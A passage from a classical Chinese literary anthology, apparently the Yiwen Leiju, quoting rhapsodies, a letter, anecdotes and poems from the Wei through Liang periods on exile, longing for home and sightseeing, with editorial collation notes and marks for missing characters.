舍 堂 宇 之 密 亲 . 坐 江 潭 而 为 客 . 对 蒹 葭 之 遂 黄 . 视 零 露 之 方 白 . 鸿 晨 惊 以 响 湍 . 泉 夜 下 而 鸣 石 . 瞻 荆 吴 之 远 山 . 望 邯 郸 之 长 陌 . 塞 风 驰 兮 边 草 飞 . 胡 沙 起 兮 雁 扬 翮 . 虽 燕 越 之 异 心 . 在 禽 鸟 之 同 戚 .\n齐 谢 朓 思 归 赋 曰 . 余 菲 薄 以 固 陋 . 受 恩 灵 而 不 訾 . 拖 银 黄 之 沃 若 . 剖 金 符 之 陆 离 . 舟 未 济 而 河 广 . 途 方 遥 而 马 疲 . 纷 吾 生 之 游 薄 . 弥 一 纪 而 历 兹 . 自 下 车 于 江 海 . 涉 青 春 而 于 是 时 . ● 崇 芒 而 引 领 . 望 大 夏 而 长 思 . 离 曲 街 之 委 陋 . 犹 寤 寐 而 见 之 . 余 乃 眷 言 兴 慕 . 南 眺 犹 然 . 将 整 归 辔 . 愿 受 一 . 考 幸 城 之 直 陌 . 相 洛 浦 之 回 阡 . 于 是 楥 摇 芳 槿 . 门 拂 长 杨 . 檐 桃 春 发 . 窗 竹 夏 凉 . 晨 露 晞 而 草 馥 . 微 风 起 而 树 香 . 恒 离 居 而 岁 月 . 痛 销 落 而 徒 伤 .\n梁 简 文 帝 述 羁 赋 曰 . 奉 明 后 之 沾 渥 . 将 远 述 于 衡 楚 . 叹 云 霞 之 窅 漫 . 对 江 山 之 遥 阻 . 是 时 孟 夏 首 节 . 雄 风 吹 甸 . 晚 解 缆 乎 乡 津 . 涕 淫 淫 其 若 霰 . 舟 飘 飘 而 转 远 . 顾 帝 都 而 裁 见 . 远 山 碧 . 暮 水 红 . 日 既 晏 . 谁 与 同 . 云 峨 而 出 岫 . 江 摇 漾 而 生 风 . 奉 玺 言 而 遄 迈 . 改 余 玉 于 江 隈 . 遵 阳 涂 而 中 正 . 轸 悲 心 其 若 颓 . 引 领 京 邑 . 瞻 望 弗 远 . 恋 逐 云 飞 . 思 随 蓬 卷 . 观 江 水 之 寂 寥 . 愿 从 流 而 东 反 .\n又 阻 归 赋 曰 . 观 建 国 之 皇 王 . 选 能 官 于 前 古 . 元 帝 慈 而 布 教 . 岂 齐 圣 而 作 辅 . 伊 吾 人 之 固 陋 . 宅 璇 汉 而 自 通 . 蹑 九 枝 而 耀 景 . 总 六 翮 而 抟 风 . 属 玄 玦 之 启 异 . 逢 玉 弩 之 相 惊 . 顿 天 罗 于 八 表 . 腾 云 驱 于 四 溟 . 发 伏 鳖 之 雄 气 . 耀 策 马 之 高 星 . 地 迩 朔 埸 . 疆 邻 北 极 . 垄 树 饶 风 . 胡 天 少 色 . 上 月 斜 临 . 寒 松 遥 直 . 云 向 山 而 欲 敛 . 雁 疲 飞 而 不 息 . 何 愁 绪 之 交 加 . 岂 树 萱 与 折 麻 . 闻 繁 钲 之 韵 冰 . 听 流 风 之 入 笳 . 终 知 客 游 之 阻 . 无 解 乡 路 之 赊 .\n梁 江 淹 待 罪 江 南 思 北 归 赋 曰 . 惟 江 南 兮 丘 墟 . 经 万 里 兮 长 芜 . 带 封 狐 兮 比 景 . 连 雄 虺 兮 苍 梧 . 当 青 春 而 离 散 . 方 仲 秋 而 遂 徂 . 云 清 冷 而 多 绪 . 风 萧 条 而 无 端 . 猿 之 吟 兮 日 光 迥 . 狖 之 啼 兮 月 色 寒 . 况 北 州 之 贱 士 . 为 炎 土 之 流 人 . 共 魍 魉 而 相 偶 . 与 蟏 蛸 而 为 邻 . 秋 露 下 兮 点 剑 . 春 苔 生 兮 缀 衣 巾 .\n梁 丘 迟 还 林 赋 曰 . 爰 自 京 师 . 言 归 旧 岭 . 今 风 古 辙 . 每 动 寸 衷 . 因 事 而 书 . 不 觉 成 卷 . 非 谓 为 文 . 聊 记 行 途 所 经 云 尔 . 太 ● 弭 节 . 祝 融 耸 驾 . 炎 钟 泛 响 . 青 籥 静 吹 . 丘 子 税 辕 畿 路 . 总 舳 川 湄 . 魂 故 岭 . 结 梦 旧 墀 . 揆 身 世 而 载 怀 . 镜 古 今 而 兴 辞 . 验 难 停 于 杨 辙 . 昭 易 改 于 墨 丝 . 匪 追 举 而 辩 命 . 岂 适 尹 而 问 蓍 . 檐 簦 无 白 璧 之 想 . 负 书 靡 黑 豹 之 悲 . 缆 解 山 潮 . 首 顾 京 澨 . 仰 绛 堞 之 纷 回 . 与 素 津 之 容 裔 . 荃 桡 往 来 . 芰 盖 经 过 . 依 俙 子 陵 之 钓 . 髣 佛 沧 浪 之 歌 . 出 入 风 霞 . 游 息 云 露 . 阶 伺 禽 飞 . 窗 高 月 渡 . 踟 蹰 七 教 . 徘 徊 五 礼 . 永 翦 带 于 关 上 . 长 缉 巾 乎 林 底 .\n梁 沈 约 愍 涂 赋 曰 . 结 榜 穷 渚 . 思 临 长 屿 . 情 依 旧 越 . 身 经 故 楚 . 彼 长 路 之 多 端 . 伊 客 心 之 无 绪 . 欢 因 情 而 易 失 . 悲 由 心 而 难 拒 . 此 江 海 之 信 辽 . 知 余 思 之 方 阻 . 日 晻 长 浦 . 风 扫 联 葭 . 叠 云 疑 愤 . 广 水 腾 华 . 听 奔 沸 于 洲 屿 . 望 掩 暧 乎 烟 沙 . 依 云 边 以 知 国 . 极 鸟 道 以 瞻 家 . 免 凄 怆 于 羁 离 . 亦 殷 勤 于 行 路 . 叹 余 涂 之 屡 蹇 . 奚 前 芳 之 可 慕 .\n梁 张 缵 南 征 赋 曰 . 岁 次 娵 訾 . 月 惟 中 吕 . 余 谒 帝 于 承 明 . 将 述 职 于 南 楚 . 忽 中 川 而 反 顾 . 怀 旧 乡 而 延 伫 . 溯 金 牛 之 迅 渚 . 睹 灵 涛 之 雄 壮 . 标 素 岭 乎 青 壁 . 葺 赪 文 于 翠 障 . 跳 巨 石 以 惊 湍 . 批 冲 岩 而 骇 浪 . 铲 千 寻 之 峭 峰 . 潀 万 流 之 大 壑 . 隐 日 月 以 蔽 亏 . 抟 风 烟 而 回 薄 . 崖 映 川 而 晃 朗 . 水 腾 光 以 倏 烁 . 下 流 湍 而 洊 险 . 上 岑 崟 而 将 落 . 于 是 近 睇 赭 峰 . 遥 瞻 鹊 岸 . 岛 屿 苍 茫 . 风 霜 萧 散 . 值 时 雨 之 新 晴 . 观 百 川 之 浩 汗 . 水 泓 澄 以 闇 夕 . 山 参 差 而 辨 旦 . 忽 临 睨 于 故 乡 . 眇 江 天 其 无 畔 . 独 向 风 而 舒 情 . 搴 芳 洲 而 谁 玩 . 于 是 千 流 共 归 . 万 岭 分 状 . 清 江 洗 潮 . 平 湖 夷 畅 . 翻 光 转 彩 . 出 没 摇 漾 . 岷 山 嶓 冢 . 悠 远 寂 寥 . 青 湓 赤 岸 . 控 汐 引 潮 . 界 飞 流 于 翠 薄 . 耿 长 虹 于 青 霄 . 若 夫 灌 漭 川 涯 . 曾 潭 水 府 . 游 泳 之 所 往 还 . 喧 鸣 之 所 攒 聚 . 聆 寡 鹤 之 偏 叫 . 问 孤 鸿 之 慕 侣 . 在 客 行 而 多 思 . 独 伤 魂 而 凄 楚 .\n陈 沈 炯 魂 归 赋 曰 . 值 天 地 之 辐 裂 . 遭 日 月 之 氛 虹 . 去 父 母 之 邦 国 . 埋 形 影 于 胡 戎 . 绝 君 臣 而 辞 骨 肉 . 蹐 厚 地 而 跼 苍 穹 . 抱 北 思 之 胡 马 . 望 南 飞 之 夕 鸿 . 泣 沾 衿 而 杂 露 . 悲 微 吟 而 带 风 . 履 峨 峨 之 层 冰 . 面 飗 飗 之 严 霜 . 去 莫 敖 之 所 缢 . 过 临 川 之 折 轴 . 矧 今 古 之 悲 凉 . 并 攒 心 而 沾 袂 . 渡 狭 石 之 欹 危 . 跨 清 津 之 幽 咽 . 雁 虚 弓 而 自 殒 . 猿 叫 子 而 肠 裂 . 历 江 汉 之 逶 迤 . 及 樊 郡 之 参 差 . 望 隆 中 之 大 宅 . 映 岘 首 之 沉 碑 . 乃 寻 析 而 历 裔 . 遂 经 秦 而 至 洛 . 觉 高 蹈 之 清 远 . 见 风 云 之 倏 烁 . 何 武 关 之 狭 隘 . 而 汉 祖 之 英 雄 . 山 万 重 而 仰 云 雾 . 水 百 仞 而 写 蜿 虹 . 去 青 泥 而 逾 白 鹿 . 越 浐 水 而 至 青 门 . 长 卿 之 赋 可 想 . 邵 平 之 迹 不 存 . 咄 嗟 骊 山 之 阜 . 惆 怅 灞 陵 之 园 . 访 轵 道 之 长 组 . 拾 蓝 田 之 玙 璠 . 登 未 央 之 北 阙 . 望 长 乐 之 基 趾 . 伊 太 后 之 所 居 . 筑 旗 亭 而 成 市 . 槐 路 郁 以 三 条 . 方 涂 阻 而 九 轨 . 观 阡 陌 之 遗 踪 . 实 不 乖 于 前 史 . 傍 直 城 而 北 转 . 临 横 门 而 左 起 . 泊 泾 泥 之 混 浊 . 盥 渭 渚 之 清 波 . 指 咸 阳 而 长 望 . 何 李 赵 之 经 过 . 息 甘 泉 而 避 暑 . 犹 爽 垲 而 清 和 . 至 诚 可 以 感 鬼 . 秉 信 可 以 祈 天 . 何 精 殒 而 魄 散 . 忽 魂 归 而 气 旋 . 解 龙 骖 而 见 送 . 走 却 驲 于 停 传 . 出 向 来 之 大 道 . 及 初 入 之 山 川 . 爰 绕 朝 之 赠 策 . 报 李 陵 之 别 篇 . 泪 未 悲 而 自 堕 . 语 有 噎 而 无 宣 .\n【 书 】 宋 鲍 昭 与 妹 书 曰 . 吾 自 发 寒 雨 . 而 全 行 日 少 .\n栈 石 星 饭 . 结 荷 水 宿 . 以 今 食 时 . 仅 及 大 雷 . 涂 登 千 里\n. 日 逾 一 辰 . 去 亲 为 客 . 如 何 如 何 . 向 因 步 顿 . 凭 观 川\n陆 . 遨 神 清 渚 . 流 睇 方 昏 . 东 顾 三 洲 之 隔 . 西 眺 九 派 之\n分 . 窥 地 门 之 绝 景 . 望 天 际 之 孤 云 . 南 则 积 山 万 状 . 争\n气 负 高 . 含 霞 饮 景 . 参 差 代 雄 . 陵 跨 长 陇 . 前 后 相 属 .\n带 天 有 匝 . 横 地 无 穷 . 东 则 砥 原 远 隰 . 亡 端 靡 际 . 寒 蓬\n夕 卷 . 古 树 云 平 . 旋 风 四 起 . 思 鸟 群 归 . 静 听 无 闻 . 极\n视 不 见 . 北 则 陂 池 潜 演 . 湖 泽 脉 通 . 栖 风 之 鸟 . 水 化 之\n虫 . 以 智 吞 愚 . 因 彊 捕 小 . 号 噪 惊 聒 . 纷 牣 其 中 . 西 则\n回 江 永 指 . 长 波 吞 合 . 滔 滔 何 穷 . 漫 漫 安 竭 . 左 右 青 蔼\n. 表 里 紫 霄 . 从 岭 而 西 . 气 尽 金 光 . 半 山 以 下 . 纯 为 黛\n色 . 信 可 以 神 居 帝 郊 . 镇 控 湘 汉 者 也 . 夕 景 欲 沉 . 晓 露\n将 合 . 孤 鶵 寒 啸 . 游 鸿 远 吟 . 樵 苏 一 叹 . 舟 子 再 泫 . 诚\n足 忧 悲 . 不 可 说 也 .\n人 部 十 二 游\n览\n穆 天 子 传 曰 . 天 子 遂 袭 昆 仑 之 丘 . 游 轩 辕 之 宫 . 眺 望 钟 山 之 岭 . 玩 帝 者 之 宝 . 勒 石 王 母 之 山 . 纪 迹 玄 圃 之 上 . 乃 取 其 嘉 木 艳 草 . 奇 鸟 怪 兽 . 玉 石 珍 瑰 之 器 . 重 膏 银 烛 之 宝 .\n又 曰 . 天 子 北 升 于 舂 山 之 上 . 以 望 四 野 . 舂 山 是 惟 天 下 之 高 山 也 . 天 子 五 日 观 于 舂 山 之 上 .\n史 记 曰 . 始 皇 三 十 七 年 . 上 会 稽 山 . 望 于 南 海 . 立 石 刻 . 颂 秦 德 . 还 过 吴 . 从 江 乘 渡 . 傍 海 上 . 北 至 琅 邪 .\n又 曰 . 太 史 公 登 会 稽 山 . 探 禹 穴 . 登 姑 苏 . 望 五 湖 .\n庄 子 曰 . 庄 子 与 惠 子 游 濠 梁 之 上 . 庄 子 曰 . 倏 鱼 出 游 从 容 . 是 鱼 乐 也 . 惠 子 曰 . 子 非 鱼 . 焉 知 鱼 之 乐 也 . 庄 子 曰 . 子 非 我 . 焉 知 吾 不 知 鱼 之 乐 也 .\n楚 辞 曰 . 览 冀 州 兮 有 余 . 横 四 海 兮 焉 发 .\n又 曰 . 登 昆 仑 兮 四 望 . 心 飞 杨 兮 浩 荡 . 日 将 暮 兮 怅 忘 归 . 遗 极 浦 兮 悟 怀 .\n韩 诗 外 传 曰 . 齐 景 公 游 于 牛 山 . 而 北 望 齐 曰 . 美 哉 国 乎 . 郁 郁 蓁 蓁 .\n淮 南 子 曰 . 所 谓 乐 者 . 游 云 梦 . 陟 高 丘 . 耳 听 九 韵 六 茎 . 口 味 煎 熬 芬 芳 . 驰 骋 夷 道 . 钓 射 鹔 . 之 谓 乐 乎 .\n战 国 策 曰 . 昔 楚 王 登 彊 台 而 望 崇 山 . 左 江 右 湖 . 以 临 方 湟 . ○ 冯 校 本 作 淮 . 其 乐 忘 死 .\n说 苑 曰 . 齐 景 公 游 海 上 . 乐 之 . 六 月 不 归 .\n又 曰 . 楚 昭 王 欲 之 荆 台 游 . 司 马 子 綦 进 谏 曰 . 荆 台 之 游 . 左 洞 庭 之 波 . 右 彭 蠡 之 水 . 南 望 猎 山 . 下 临 方 淮 . 其 乐 使 人 遗 老 而 忘 死 .\n新 序 曰 . 晋 平 公 游 西 河 . 中 流 而 叹 曰 . 嗟 乎 . 安 得 贤 士 . 与 共 此 乐 乎 .\n列 女 传 曰 . 楚 昭 王 燕 游 . 蔡 姬 在 左 . 越 姬 参 乘 . 王 亲 乘 驷 以 逐 . 登 附 庄 之 台 . 以 望 云 梦 之 囿 . 乃 顾 谓 二 女 曰 . 乐 乎 . 吾 愿 与 子 生 若 此 .\n世 说 曰 . 过 江 诸 人 . 每 暇 日 . 辄 相 要 出 新 亭 . 藉 卉 饮 宴 . 周 侯 中 坐 而 叹 曰 . 风 景 不 殊 . 举 目 有 江 河 之 异 .\n【 诗 】 古 诗 曰 . 青 青 陵 上 柏 . 磊 磊 涧 中 石 . 人 生 天 地 间 . 忽 如 远 行 客 . 驱 车 策 驽 马 . 游 戏 宛 与 洛 . 长 衢 罗 夹 巷 . 王 侯 多 第 宅 . 两 宫 遥 相 望 . 双 阙 百 余 尺 . 极 宴 娱 心 意 . 戚 戚 何 所 迫 .\n魏 文 帝 在 孟 津 诗 曰 . 良 辰 启 初 节 . 高 会 构 欢 娱 . 清 歌 发 妙 曲 . 乐 正 奏 笙 竽 . 曜 灵 忽 西 迈 . 炎 烛 继 望 舒 . 翊 日 浮 黄 河 . 长 驱 旋 邺 都 .\n又 铜 雀 园 诗 曰 . 朝 游 高 台 观 . 夕 宴 华 池 阴 . 大 酋 奉 甘 醪 . 兽 人 献 嘉 禽 . 齐 倡 发 东 舞 . 秦 筝 奏 西 音 . 飞 鸟 翻 翔 舞 . 悲 鸣 集 北 林 . 乐 极 哀 情 来 . 憀 恨 摧 肝 心 .\n又 于 清 河 作 诗 曰 . 方 舟 戏 长 水 . 澹 澹 自 浮 沉 . 弦 歌 发 中 流 . 悲 风 漂 余 音 .\n魏 王 粲 诗 曰 . 悠 悠 涉 荒 路 . 靡 靡 我 心 愁 . 四 望 无 烟 火 . 但 见 林 与 丘 . 城 郭 生 榛 棘 . 蹊 径 无 所 由 . 萑 蒲 竟 广 泽 . 葭 苇 夹 长 流 . 游 客 多 悲 伤 . 泪 下 不 可 收 . 朝 入 谯 郡 界 . 旷 然 消 人 忧 . 诗 人 美 乐 土 . 虽 客 犹 愿 留 .\n又 诗 曰 . 日 暮 游 西 园 . 冀 写 忧 思 情 . 曲 池 扬 素 波 . 列 树 敷 丹 荣 . 上 有 特 栖 鸟 . 怀 春 向 我 鸣 .\n又 诗 曰 . 吉 日 简 清 时 . 从 君 出 西 园 . 方 轨 策 良 马 . 并 驱 厉 中 原 . 北 临 清 漳 渚 . 西 看 柏 杨 山 . 回 翔 游 广 囿 . 逍 遥 波 水 闲 .\n又 诗 曰 . 列 车 息 众 驾 . 相 伴 绿 水 湄 . 幽 兰 吐 芳 烈 . 芙 蓉 发 红 晖 . 百 鸟 何 缤 翻 . 振 翼 群 相 追 . 投 网 引 潜 鲤 . 强 弩 下 高 飞 . 白 日 已 西 迈 . 欢 乐 忽 忘 归 .\n魏 陈 琳 诗 曰 . 高 会 时 不 娱 . 羁 客 难 为 心 . 慇 怀 从 中 发 . 悲 感 激 清 音 . 投 觞 罢 欢 坐 . 逍 遥 步 长 林 . 萧 萧 山 谷 风 . 黯 黯 天 路 阴 . 惆 怅 忘 旋 反 . 歔 欷 涕 沾 襟 .\n又 诗 曰 . 节 运 时 气 舒 . 秋 风 凉 且 清 . 闲 居 心 不 娱 . 驾 言 从 友 生 . 翱 翔 戏 长 流 . 逍 遥 登 高 城 . 东 望 看 畴 野 . 回 顾 览 园 庭 . 嘉 木 凋 绿 叶 . 芳 草 纤 红 荣 . 骋 哉 日 月 逝 . 年 命 将 西 倾 . 建 功 不 及 时 . 钟 鼎 何 所 铭 . 收 念 还 房 寝 . 慷 ○ 原 作 恍 . 据 冯 校 本 改 . 慨 咏 坟 经 . 庶 几 及 君 在 . 立 德 垂 功 名 . 晋 陆 机 遨 游 出 西 城 诗 曰 . 遨 游 出 西 城 . 按 辔 循 都 邑 . 逝 物 随 节 改 . 时 风 肃 且 熠 . 迁 化 有 常 然 . 盛 衰 自 相 袭 . 靡 靡 年 时 改 . 苒 苒 老 已 及 . 行 矣 勉 良 图 . 使 尔 脩 名 立 .\n晋 枣 据 诗 曰 . 矫 足 登 云 阁 . 相 伴 步 九 华 . 徙 倚 凭 高 山 . 仰 攀 桂 树 柯 . 延 首 观 神 州 . 回 精 眄 曲 阿 . 芳 林 挺 脩 干 . 一 岁 再 三 花 . 何 以 济 不 朽 . 嘘 吸 漱 朝 霞 . 重 岩 吐 神 ● . 倾 觞 挹 涌 波 . 恢 恢 大 道 闲 . 人 事 足 为 多 .\n晋 张 载 登 成 都 白 菟 楼 诗 曰 . 重 城 结 曲 阿 . 飞 宇 起 层 楼 . 累 栋 出 云 表 . 峣 蘖 临 太 虚 . 高 轩 启 朱 扉 . 回 望 畅 八 隅 . 西 瞻 岷 山 岭 . 峨 似 荆 巫 . 蹲 鸱 蔽 地 生 . 原 隰 殖 嘉 蔬 . 虽 遇 尧 汤 世 . 民 食 恒 有 余 . 郁 郁 小 城 中 . 岌 岌 百 族 居 . 街 术 纷 绮 错 . 高 甍 夹 长 衢 . 借 问 杨 子 舍 . 想 见 长 卿 庐 .\n晋 陆 冲 诗 曰 . 命 驾 遵 长 涂 . 绵 邈 涂 难 寻 . 我 行 一 何 艰 . 山 川 阻 且 深 . 洿 泽 无 夷 轨 . 重 峦 有 曾 阴 . 零 雨 淹 中 路 . 玄 云 蔽 高 岑 . 俯 悼 孤 行 兽 . 仰 叹 偏 翔 禽 . 空 谷 回 悲 响 . 流 风 漂 哀 音 .\n又 诗 曰 . 肆 观 野 原 外 . 放 心 希 大 和 . 景 岳 造 天 汉 . 丰 林 冒 重 阿 . 清 芬 乘 风 散 . 艳 藻 映 渌 波 .\n宋 江 夏 王 义 恭 登 景 阳 楼 诗 曰 . 丹 墀 设 金 屏 . 瑶 榭 陈 玉 床 . 温 宫 冬 开 燠 . 清 殿 夏 含 霜 . 弱 橤 布 遐 馥 . 轻 叶 振 远 芳 . 弥 望 少 无 际 . 肆 睇 周 华 疆 . 象 阙 对 驰 道 . 飞 廉 瞩 方 塘 . 邸 寺 送 晖 曜 . 槐 柳 自 成 行 . 通 川 溢 轻 舻 . 长 术 盈 方 箱 . 顾 此 爝 火 微 . 胡 颜 厕 天 光 .\n又 彭 城 戏 马 台 集 诗 曰 . 骋 骛 辞 南 京 . 弭 节 憩 东 楚 . 懿 蕃 重 遐 望 . 兴 言 集 僚 侣 . 于 役 未 云 淹 . 时 迁 变 淳 暑 . 眷 恋 江 水 流 . 回 首 独 延 伫 .\n宋 袁 淑 登 宣 城 郡 诗 曰 . 怅 焉 讯 旧 老 . 兹 前 乃 楚 居 . 十 代 阙 州 记 . 百 祀 绝 方 书 .\n宋 颜 延 之 罢 郡 还 与 张 湘 川 登 巴 陵 城 楼 诗 曰 . 江 汉 分 楚 望 . 衡 巫 奠 南 服 . 三 湘 沦 洞 庭 . 七 泽 蔼 荆 牧 . 凄 矣 自 远 风 . 伤 哉 千 里 目 . 万 古 陈 往 还 . 百 代 劳 起 伏 .\n又 登 景 阳 楼 诗 曰 . 风 观 要 春 景 . 月 榭 迎 秋 光 . 沿 波 被 华 若 . 随 山 茂 贞 芳 .\n宋 鲍 昭 行 乐 ○ 本 集 作 药 . 至 城 东 桥 诗 曰 . 迅 风 首 旦 发 . 平 路 寒 飞 尘 . 扰 扰 游 官 子 . 营 营 市 井 民 . 怀 金 近 从 利 . 抚 剑 远 辞 亲 . 争 知 万 里 途 . 各 事 百 年 身 .\n宋 谢 瞻 游 西 池 诗 曰 . 逍 遥 越 郊 肆 . 愿 言 屡 经 过 . 回 阡 被 陵 阙 . 高 台 眺 飞 霞 . 惠 风 荡 繁 囿 . 白 云 屯 曾 阿 . 褰 裳 顺 兰 沚 . 徙 倚 引 芳 柯 . 美 人 愆 岁 月 . 迟 暮 独 如 何 .\n宋 谢 灵 运 晚 出 西 射 堂 诗 曰 . 步 出 西 掖 门 . 遥 望 城 西 岑 . 连 障 叠 巘 崿 . 青 翠 杳 深 沉 . 晓 霜 枫 叶 丹 . 夕 昏 岚 气 阴 . 节 往 戚 不 浅 . 感 来 恨 已 深 . 羁 雌 恋 旧 侣 . 迷 鸟 怀 故 林 . 含 情 尚 劳 爱 . 如 何 离 赏 心 . 抚 镜 华 缁 宾 . ○ 文 选 二 十 二 作 鬓 . 揽 带 缓 促 衿 . 安 排 徒 空 言 . 幽 独 赖 鸣 琴 .\n又 登 池 上 楼 诗 曰 . 殉 禄 反 穷 海 . 卧 痾 对 空 林 . 倾 耳 聆 波 澜 . 举 目 眺 岖 嵚 . 初 景 革 绪 风 . 新 阳 改 故 阴 . 池 塘 生 春 草 . 园 柳 变 鸣 禽 . 索 居 易 永 久 . 离 群 难 处 心 . 持 操 岂 独 古 . 无 闷 征 于 今 .\n又 登 江 中 孤 屿 诗 曰 . 江 南 倦 历 览 . 江 北 旷 周 旋 . 怀 新 道 转 回 . 寻 异 景 不 延 . 乱 流 趋 孤 屿 . 孤 屿 媚 中 川 . 云 日 相 晖 映 . 空 水 共 澄 鲜 . 表 灵 物 莫 赏 . 蕴 真 谁 为 传 .\n又 东 山 望 海 诗 曰 . 开 春 献 初 岁 . 白 日 出 悠 悠 . 荡 志 将 愉 乐 . 瞰 海 庶 忘 忧 . 策 马 步 兰 皋 . 控 息 椒 丘 . 采 蕙 遵 大 薄 . 搴 若 履 长 洲 . 白 华 缟 阳 林 . 紫 虈 晔 春 流 . 非 徒 不 弭 忘 . 览 物 情 弥 遒 . 萱 苏 始 无 慰 . 寂 寞 终 可 求 .\n又 初 往 新 安 至 桐 庐 口 诗 曰 . 絺 绤 虽 凄 其 . 授 衣 尚 未 至 . 感 节 良 已 深 . 怀 古 徒 役 思 . 不 有 千 里 桌 . 孰 申 百 代 意 . 远 协 尚 子 心 . 遥 得 许 生 忌 . 既 及 冷 风 善 . 又 即 秋 水 ● . 江 山 共 开 旷 . 云 日 相 照 媚 . 景 夕 群 物 清 . 对 玩 咸 可 喜 .\n宋 谢 庄 游 豫 章 西 山 观 洪 崖 井 诗 曰 . 幽 愿 平 生 积 . 野 好 岁 月 弥 . 舍 簪 神 区 外 . 整 褐 ● 乡 垂 . 林 远 炎 天 隔 . 山 深 白 日 亏 . 游 阴 腾 鹄 岭 . 飞 清 起 凤 池 . 隐 暧 松 霞 被 . 容 与 涧 烟 移 . 将 遂 丘 中 性 . 结 驾 终 在 斯 .\n齐 谢 朓 和 徐 勉 出 新 林 渚 诗 曰 . 宛 洛 佳 遨 游 . 春 色 满 皇 州 . 结 轸 青 郊 路 . 回 瞰 沧 江 流 . 日 华 川 上 动 . 风 光 草 际 浮 . 桃 李 成 蹊 径 . 桑 榆 荫 道 周 .\n又 游 东 田 诗 曰 . 戚 戚 苦 无 悰 . 携 手 共 行 乐 . 寻 云 陟 累 榭 . 随 山 望 菌 阁 . 远 树 暧 芊 芊 . 山 烟 纷 漠 漠 . 鱼 戏 新 荷 动 . 鸟 散 余 花 落 . 不 对 芳 春 酒 . 还 望 青 山 郭 .\n梁 简 文 帝 仰 和 卫 尉 新 渝 侯 巡 城 口 号 诗 曰 . 帝 景 风 雨 中 . 层 阙 烟 霞 浮 . 玉 署 清 余 热 . 金 城 含 暮 秋 . 水 光 凌 却 敌 . 槐 影 带 重 楼 .\n又 薄 晚 逐 凉 北 楼 回 望 诗 曰 . 平 衢 望 如 掌 . 曾 雉 暧 相 连 . 断 云 留 去 日 . 长 山 减 半 天 . 戏 凫 乘 洑 下 . 渔 舟 冒 浪 前 .\n又 大 同 八 年 秋 九 月 诗 曰 . 大 君 重 九 节 . 下 辇 上 林 中 . 酒 阕 嘉 宴 罢 . 车 骑 各 西 东 . 时 余 守 西 掖 . 脂 车 归 北 宫 . 车 分 独 坐 道 . 扇 拂 冶 城 风 . 落 照 堑 中 满 . 浮 烟 槐 外 通 . 长 乐 含 初 紫 . 安 榴 坼 晚 红 .\n又 大 同 九 年 秋 七 月 诗 曰 . 高 楼 辟 左 扇 . 回 望 依 兰 桡 . 晚 风 飏 来 . 落 照 参 差 好 .\n又 登 锦 壁 诗 曰 . 孙 生 酸 枣 寺 . 王 子 枝 江 楼 . 何 如 登 石 镜 . 因 闲 犹 豫 游 .\n又 应 令 诗 曰 . 蠡 浦 急 兮 川 路 长 . 白 云 重 兮 出 帝 乡 . 平 原 忽 兮 远 极 目 . 江 甸 阻 兮 羁 心 伤 . 树 庐 岳 兮 高 且 峻 . 瞻 泒 水 兮 去 泱 泱 . 远 烟 生 兮 含 山 势 . 风 散 花 兮 传 馨 香 . 临 清 波 兮 望 石 镜 . 瞻 鹤 岭 兮 睇 仙 装 . 望 邦 畿 兮 千 里 旷 . 悲 遥 夜 兮 九 回 肠 . 顾 龙 楼 兮 不 可 见 . 徒 送 目 兮 泪 沾 裳 .\n梁 元 帝 出 江 陵 县 还 诗 曰 . 游 鱼 迎 浪 上 . 雊 雉 向 林 飞 . 远 村 云 里 出 . 遥 舡 天 际 归 . 又 诗 曰 . 朝 出 屠 羊 县 . 夕 反 仲 宣 楼 . 水 满 还 侵 岸 . 沙 尽 稍 开 流 .\n又 登 江 州 百 花 亭 怀 荆 楚 诗 曰 . 目 极 才 千 里 . 何 由 望 楚 津 . 落 花 洒 行 路 . 垂 杨 拂 砌 尘 . 柳 絮 飘 春 雪 . 荷 珠 漾 水 银 . 试 酌 新 清 酒 . 遥 劝 阳 台 人 .\n梁 昭 明 太 子 示 云 麾 弟 诗 曰 . 白 云 飞 兮 江 上 阻 . 北 流 分 兮 山 风 举 . 山 万 仞 兮 多 高 峰 . 流 九 派 兮 饶 汪 渚 . 上 岧 峣 兮 乃 逼 天 . 下 微 濛 兮 后 兴 雨 . 实 览 历 兮 此 名 地 . 故 遨 游 兮 兹 胜 所 . 尔 登 涉 兮 一 长 望 . 理 化 顾 兮 忽 忆 予 . 想 玉 颜 兮 在 目 中 . 徒 踟 蹰 兮 增 延 伫 .\n梁 沈 约 登 高 望 春 诗 曰 . 登 高 眺 京 洛 . 街 巷 何 纷 纷 . 回 首 望 长 安 . 城 阙 郁 盘 桓 . 齐 童 蹑 珠 履 . 赵 女 杨 翠 翰 . 春 风 摇 杂 树 . 葳 蕤 绿 且 丹 . 宝 瑟 玫 瑰 柱 . 金 羁 玳 瑁 鞍 . 淹 留 宿 下 蔡 . 置 酒 过 上 兰 . 日 出 照 钿 黛 . 风 过 动 罗 纨 .\n又 秋 晨 羁 怨 望 海 思 归 诗 曰 . 分 空 临 澥 雾 . 披 远 望 沧 流 . 八 桂 暧 如 画 . 三 桑 眇 若 浮 . 烟 极 希 丹 水 . 月 表 望 青 丘 .\n梁 刘 孝 威 登 覆 舟 山 望 湖 北 诗 曰 . 紫 川 通 太 液 . 丹 岑 联 少 华 . 堂 皇 更 隐 映 . 松 灌 杂 交 加 . 荇 浦 浮 新 叶 . 渔 舟 绕 落 花 . 浴 童 争 浅 岸 . 漂 女 择 平 沙 . 极 望 伤 春 目 . 回 车 归 狭 邪 .\n又 出 新 林 诗 曰 . 芒 山 饣 洛 邑 . 函 谷 望 秦 京 . 遥 分 承 露 掌 . 远 见 长 安 城 . 故 乡 已 可 识 . 游 子 必 劳 情 . 雾 罢 前 村 见 . 风 息 涌 川 平 . 坐 观 暮 潮 落 . 渐 见 夕 烟 生 . 无 由 一 羽 化 . 徒 想 风 御 轻 .\n梁 刘 孝 标 江 州 还 入 石 头 诗 曰 . 鼓 枻 浮 大 川 . 延 睇 洛 城 观 . 洛 城 何 郁 郁 . 杳 与 云 霄 半 . 前 望 苍 龙 门 . 斜 瞻 白 鹤 馆 . 槐 垂 御 沟 道 . 柳 缀 金 堤 岸 . 迅 马 晨 风 趋 . 轻 舆 流 水 散 . 高 歌 梁 尘 下 . 縆 瑟 荆 禽 乱 . 我 思 江 海 游 . 曾 无 朝 市 玩 . 忽 寄 灵 台 宿 . 空 轸 及 关 叹 . 仲 子 入 南 楚 . 伯 鸾 出 东 汉 . 何 能 栖 树 枝 . 取 毙 王 孙 弹 .\n梁 萧 子 范 东 亭 极 望 诗 曰 . 晚 流 稍 东 急 . 暝 景 促 西 晖 . 水 鸟 衔 鱼 望 . 莲 舟 拂 芰 归 . 郊 原 共 超 远 . 林 野 杂 依 菲 